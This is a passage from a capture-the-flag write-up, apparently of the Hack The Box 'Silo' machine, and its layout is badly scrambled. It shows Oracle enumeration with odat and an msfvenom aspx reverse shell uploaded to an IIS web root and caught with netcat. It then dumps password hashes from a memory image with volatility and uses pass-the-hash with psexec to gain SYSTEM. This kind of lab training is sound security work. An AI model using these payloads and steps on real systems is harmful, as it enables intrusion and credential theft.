Nmap I ran a quick scan (nmap -p- -Pn -T5 10.10.10.82) and then started some basic enumeration whilst the second, deeper scan ran: nmap -p 80,135,139,445,1521,5985,47001,49153-49162 -Pn - + -A 10.10.10.82 . There's probably a smarter way to run that second scan, I just don't know it. **PORT SERVICE** STATE **VERSION** http Microsoft IIS httpd 8.5 80/tcp open | http-methods: Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 _http-title: IIS Windows Server Microsoft Windows RPC 135/tcp open msrpc netbios-ssn Microsoft Windows netbios-ssn 139/tcp open 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 10 microsoft-ds oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 1521/tcp open Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 12 5985/tcp open http 13 | http-server-header: Microsoft-HTTPAPI/2.0 14 | http-title: Not Found Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 47001/tcp open http |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open mpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp closed unknown 49157/tcp closed unknown 49158/tcp open Microsoft Windows RPC msrpc 24 49159/tcp closed unknown 49160/tcp open oracle-tns Oracle TNS listener (requires service name) 49161/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:w Host script results: |_clock-skew: mean: 3m32s, deviation: 0s, median: 3m32s

Silo

Difficulty:

Points:

Release:

IP:

👫 Windows

17 Mar 2018

10.10.10.82

Medium

30

Silo

|_smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: authentication_level: user challenge_response: supported |_ message_signing: supported | smb2-security-mode: 2.02: Message signing enabled but not required | smb2-time: date: 2020-07-05T13:54:53 |_ start_date: 2020-07-05T13:40:36 **Initial Enum: Fail** We can't enumerate the SMB service, so will maybe have to wait till we get some creds? Taking a look at the website, we can determine it's written in .aspx by going /index.[X], and swapping [X] for the usual .php, htm, etc etc until we find one that works. I used gobuster but didn't get nothing interesting. Let's look at the Oracle service **Oracle** I'm not to familiar with port **1521**, so I turned to HackTricks to guide me: https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener **Odat Installation** It seems the best tool for the job is **Odat**, however it's a pain to install. Following this guide works to a certain extent, but needs some editing here and there. I've tried my best to make things clear. https://dastinia.io/tutorial/2018/07/31/installing-oracle-database-attacking-tool-on-kali/. Oh and make sure you do everything as root by going su . It makes life easier. **Setup Troubleshooting** When (**not if**) you encounter problems following this guide when it comes to executing **sqlplus**, try this: #change the version number in field 5

sudo sh -c "echo /usr/lib/oracle/[VersionNumber] client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig # then edit your ~/.bashrc and include these # edit the version number in the last field of the first line export ORACLE_HOME=/opt/oracle/instantclient_[version] export LD_LIBRARY_PATH="\$ORACLE_HOME" export PATH="\$ORACLE_HOME:\$PATH" #Now reset your bashrc source ~/.bashrc #now try sqlplus in the directory sqlplus Then if you keep getting headache at the python-install stage, re-run the same commands twice, with the second run changing it to pip3 and python3, where you can. Then finally, run the programme as python3 ./oday.py , and it should work root@kali:/opt/odat# python3 ./odat.py -h ./odat.py:52: DeprecationWarning: the imp module is deprecated in favour of importlib; see import imp usage: odat.py [-h] [--version] {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp, dvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepw

By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)

to communicate with the TNS listener

to send HTTP requests or to scan ports

to send HTTP requests or to scan ports

to exploit TNS poisoning attack

Choose a main command

to know valid credentials

to know valid SIDs

to scan ports

to read files

{all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,exter e,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,priveso

to run all modules in order to know what it is possible to do

positional arguments:

all

tnscmd

utlhttp

ctxsys

tnspoison sidguesser

httpuritype utltcp

passwordguesser

to read files or to execute system commands/scripts externaltable dbmsxslprocessor to upload files to upload files dbmsadvisor utlfile to download/upload/delete files dbmsscheduler to execute system commands without a standard output to execute system commands passwordstealer to get hashed Oracle passwords **Odat Tool** Iran python3 ./odat.py all -s 10.10.10.82 , which ran through all the modules and required some interactivity at some points (I just chose c for continue without asking). It gave us the following interesting things: Target is vulnerable to TNS poisoning (CVE-2012-1675) valid SIDs: XE, XEXDB Creds: scott/tiger **Exploit** Knowing that we have **creds**, and **Odat** has an **upload** feature, let's make a **malicious** .aspx thats a reverse shell back to us: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4321 -f aspx > reverse.aspx Through trial and error, we found the syntax that works for the **Odat** is as follows: sudo python3 /opt/odat/odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U 'scott' -P 'tiger' --sysdba --putFile c:/inetpub/wwwroot reverse.aspx /silo/reverse.aspx Let's deconstruct it and explain what's going on here: #run Odat from whatever directory we're in sudo python3 /opt/odat/odat.py #module to upload files dbmsxslprocessor #IP and SID, latter was a guess as it could have been the other -s 10.10.10.82 -d XE #creds -U 'scott' -P 'tiger'

#this took a while to troubleshoot but think it does a small PrivEsc to upload?

#the victim directory we want to upload to, and what we want to call the upload

#the full path on our Kali to the malicious file we want to upload

Because we uploaded it to c:/inetpub/wwwroot, it is theortically possible to access our shell from the website. It seemed to be accepted by the Odat uploader, so all that was left was to fire up a netcat **listener**, and then curl 10.10.10.82/reverse.aspx [1] (10.10.10.82:1521): Put the /home/kali/Downloads/silo/reverse.aspx local file in the c:/inetpub/wwwroot path (named reverse.aspx) of the 10.10.10.82 ser ver
[+] The /home/kali/Downloads/silo/reverse.aspx local file was put in the remote c:/inetpub/wwwroot path (named reverse.aspx)
kali@kali:~/Downloads/silo\$ curl 10.10.10.82/reverse.aspx
kali@kali:~/Downloads/silo\$ [kalinkali:~/Downloads/silo\$ nc -nvlp 4321
listening on [any] 4321 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.82] 49167 Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>

--sysdba

--putFile

#upload file command

c:/inetpub/wwwroot reverse.aspx

/Kali/Path/to/reverse.aspx

We can go and get the user flag from **Phineas**' Desktop. There's a file that offers a **dropbox link** and a password, but this password comes with a special character that doesn't render well. c:\Users\Phineas\Desktop>type "Oracle issue.txt" type "Oracle issue.txt Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested): Dropbox link provided to vendor (and password under separate cover). https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password: **[♠]%Hm8646uC\$**

Password Investigation:

kali

kali

kali

kali kali

kali

kali

kali

kali

kali

kali

kali

2 kali

1 kali

1 kali

1 kali

kali

There were a number of methods to work out what the password is.

85 Jul 05 17:19 brute.sh 4096 Jul 05 14:56 oracle

85 Jul 05 17:19 brute.sh 4096 Jul 05 14:56 oracle

13 Jul 05 15:30 passwords.txt 3420 Jul 05 15:51 reverse.aspx 7168 Jul 05 15:39 reverse.exe 7168 Jul 05 15:48 reverse2.exe

Jul 05 15:30 users.txt

291 Jul 05 20:17 Oracle issue.txt

13 Jul 05 15:30 passwords.txt 3420 Jul 05 15:51 reverse.aspx 7168 Jul 05 15:39 reverse.exe

7168 Jul 05 15:48 reverse2.exe

Jul 05 15:30 users.txt

10.10.10.82/backdoor.aspx

Command:

Following the link and inputting the password, we can download a zip file

If we download, unzip, and then file against the dump, we specifically find out its a "MS Windows"

Then, let's run the tool to check it works: volatility -f SILO-20180105-221806.dmp imageinfo

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

/Downloads/silo/dump\$ volatility -f SILO-20180105-221806.dmp imageinfo

: Determining profile based on KDBG search...

WindowsCrashDumpSpace64 (Unnamed AS)

Go back to your windows victim shell, and systeminfo to get absolute confirmation of what the OS

:~/Downloads/silo/dump\$ volatility -f SILO-20180105-221806.dmp hivelist --profile=Win2012R2×64 | grep SYSTEM

Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::

You COULD crack the hash, if you so wanted. But the **Impacket** toolkit, built into Kali, has the ability to

:~/Downloads/silo/dump\$ sudo /usr/local/bin/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46

pass the hash instead, thus authenticating us without need for a cracked password.

aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7

Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

Now, we need to take those **offset numbers** and slot them into place with this command:

volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hashdump -y

: 2018-01-05 22:18:07 +0000

Microsoft Windows Server 2012 R2 Standard

6.3.9600 N/A Build 9600

Name

Microsoft Corporation

Standalone Server

: 0×1a7000L KDBG: 0×f80078520a30L

SILO

..../Downloads/silo/dump\$ file SILO-20180105-221806.dmp

SILO-20180105-221806.dmp: MS Windows 64bit crash dump, full dump, 261996 pages

> SILO-20180105-221806.dmp

.dmp files can't be previewed. SILO-20180105-221806.dmp · 1 GB

li:~/Downloads/silo/dump\$

Ignoring the warnings, it seems all good to me!

Volatility Foundation Volatility Framework 2.6

: volatility.debug

WARNING: volatility.debug

WARNING : volatility.debug

WARNING: volatility.debug

WARNING : volatility.debug WARNING : volatility.debug

WARNING : volatility.debug

WARNING : volatility.debug WARNING : volatility.debug

WARNING: volatility.debug WARNING: volatility.debug WARNING : volatility.debug

WARNING : volatility.debug

Googling around, it seems we can use a tool called Volatility

type c:\Users\Phineas\Desktop\"Ora

Sign in

ip

Size 189.03 MB

Details

View all details

Sign up

1

SILO-20180105-221806.z

excute

you can just use download. If you didn't have a meterpreter shell, you can use FTP:

The easiest way was to just transfer the file back to your kali and read it. If you had a meterpreter shell,

User Shell

start an FTP on your kali: sudo python -m pyftpdlib -p 21 --write Open that FTP in the victim shell: ftp [yourIP] use the creds anonymous;anonymous, then put "Oracle issue.txt" . You should then see it in your kali . Open it in a text editor, and the character will resolve itself. c:\Users\Phineas\Desktop>ftp 10.10.14.34 ftp 10.10.14.34 User (10.10.14.34:(none)): anonymous Password: anonymous -rwxr-xr-x 1 kali 2 kali drwxr-xr-x 1 kali 1 kali rw-r--r--1 kali 1 kali "Oracle issue.txt"

drwxr-xr-x

The **other** way was to create a **webshell**, and read it from there. upload a aspx webshell through Odat the same way we uploaded a reverse shell. You can locate aspx in kali to find a backdoor template to copy to your current directory. Go to the webshell and type c:\Users\Phineas\Desktop\"Oracle issue.txt" G Kali Linux 🥄 Kali Training 🥄 Kali Tools 🥄 Kali Docs 🥄 Kali Forums 🛝 NetHunter 👖 Offensive Security 🧆 Exploit Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested). Dropbox link provided to vendor (and password under separ Dropbox link https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0 link password: £%Hm8646uC\$ **Memory Dump**

Volatility Tool Setup What we're aiming to do is **dump** the **hashes**. For this we have to determine the system **profile**, and then identify the virtual offset's of the SAM and SYSTEM files. There are two key guides for this tool: Basic, more of a general info page - https://tools.kali.org/forensics/volatility Extremely important guide, 12 out of 10 would exploit again https://www.andreafortuna.org/2017/11/15/how-to-retrieve-users-passwords-from-a-windowsmemory-dump-using-volatility/ First, **install** the tool via sudo apt-get install volatility

INFO

64bit crash dump"

WARNING : volatility.debug WARNING: volatility.debug: Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow

Suggested Profile(s): Win8SP0×64, Win10×64_17134, Win81U1×64, Win10×64_14393, Win2012R2×64_18340, Win2012R2×64, Win

10×64_10586, Win10×64, Win2016×64_14393, Win10×64_16299, Win10×64_10240_17770, Win2012×64, Win8SP1×64_18340, Win8SP1×64, Win10

x64_15063 (Instantiated with Win10×64_15063)

AS Layer1: SkipDuplicatesAMD64PagedMemory (Kernel AS) AS Layer2: AS Layer3 : FileAddressSpace (/home/kali/Downloads/silo/dump/SILO-20180105-221806.dmp) PAE type Number of Processors Image Type (Service Pack) : KPCR for CPU 0 : 0×fffff8007857b000L KPCR for CPU 1: 0xffffd000207e8000L KUSER_SHARED_DATA : 0×ffffff78000000000L Image date and time : 2018-01-05 22:18:07 UTC+0000 local date and time **Profile Investigation** We need to determine the exact **OS profile**. The suggestions from our previous command aren't helpful in identifting our profile, but they do let us know the syntax that the tool needs the profile to be in.

profile is.

systeminfo

Host Name:

OS Version: OS Manufacturer:

OS Name:

c:\TEMP>systeminfo

OS Configuration:

Now, we can cross reference this information with the syntax from the previous Volatility imageinfo results:

Suggested Profile(s): Win8SP0×64, Win10×64_17134, Win81U1×64, Win10×64_14393, Win2012R2×64_18340, Win2012R2×64, Win10×64_10586, Win10×64, Win2016×64_14393, Win10×64_16299, Win10×64_10240_17770, Win2012×64, Win8SP1×64_18340, Win8SP1×64, Win10 I know it may be difficult to see, but it seems we have a match. Systeminfo said we're in *Microsoft* Windows Server 2012 R2 Standard and the volatlity syntax for this is: Win2012R2x64 Identifying SAM&SYSTEM We now want to determine where SAM and SYSTEM are, which we can do with volatility -f SILO-20180105-221806.dmp hivelist --profile=Win2012R2x64 . I've highlighted where these files are in the list :~/Downloads/silo/dump\$ volatility -f SILO-20180105-221806.dmp hivelist --profile=Win2012R2×64 Volatility Foundation Volatility Framework 2.6 Virtual Physical 0×ffffc0000100a000 0×000000000d40e000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat 0×ffffc000011fb000 0×0000000034570000 \SystemRoot\System32\config\DRIVERS 0×ffffc00001600000 0×000000003327b000 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0×ffffc0000001e000 0×0000000000b65000 [no_name]_______ 0×ffffc000004de000 0×0000000024cf8000 \Device\HarddiskVolume1\Boot\BCD 0×ffffc00002c43000 0×0000000028ecb000 \SystemRoot\System32\Config\DEFAULT 0×ffffc000061a3000 0×0000000027532000 \SvstemRoot\System32\Config\SECURITY 0×ffffc00000619000 0×0000000026cc5000 \SystemRoot\System32\Config\SAM 0×ffffc0000060d000 0×0000000026c93000 ?? C: \Windows\ServiceProTiles\NetWorkService\NTUSER.DAT 0×ffffc000006cf000 0×000000002688f000 \SystemRoot\System32\Config\BBI 0×ffffc000007e7000 0×00000000259a8000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0×ffffc00000fed000 0×00000000d67f000 \??\C:\Users\Administrator\ntuser.dat **Dumping SAM&SYSTEM hashes** To successful dump the hashes, we need to use the virtual offsets (those numbers on the left) in a command. It can be a bit confusing as there's a lot to see on the page, so use grep aganst sam and **system** to isolate them. :~/Downloads/silo/dump\$ volatility -f SILO-20180105-221806.dmp hivelist --profile=Win2012R2×64 | grep SAM Volatility Foundation Volatility Framework 2.6 0×ffffc00000619000 0×0000000026cc5000 \SystemRoot\System32\Config\SAM

Volatility Foundation Volatility Framework 2.6

Admin Shell

Try:

0×ffffc00000028000 0×0000000000a70000 \REGISTRY\MACHINE\SYSTEM

[SYSTEM_OFFSET] -s [SAM_OFFSET] > hashes.txt

cat hash.txt to check it's all gone swimmingly:

sudo /usr/local/bin/psexec.py -hashes

administrator@10.10.10.82

481e07b0c7 administrator@10.10.10.82

] Found writable share ADMIN\$ [] Uploading file WHvADMeO.exe

C:\Windows\system32>whoami nt authority\system

[*] Requesting shares on 10.10.10.82.....

[*] Opening SVCManager on 10.10.10.82..... *] Creating service GhpI on 10.10.10.82.....

(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

[*] Starting service GhpI....
[!] Press help for extra shell commands Microsoft Windows [Version 6.3.9600]

and then checkout your admin shell.

li:~/Downloads/silo/dump\$ cat hashes.txt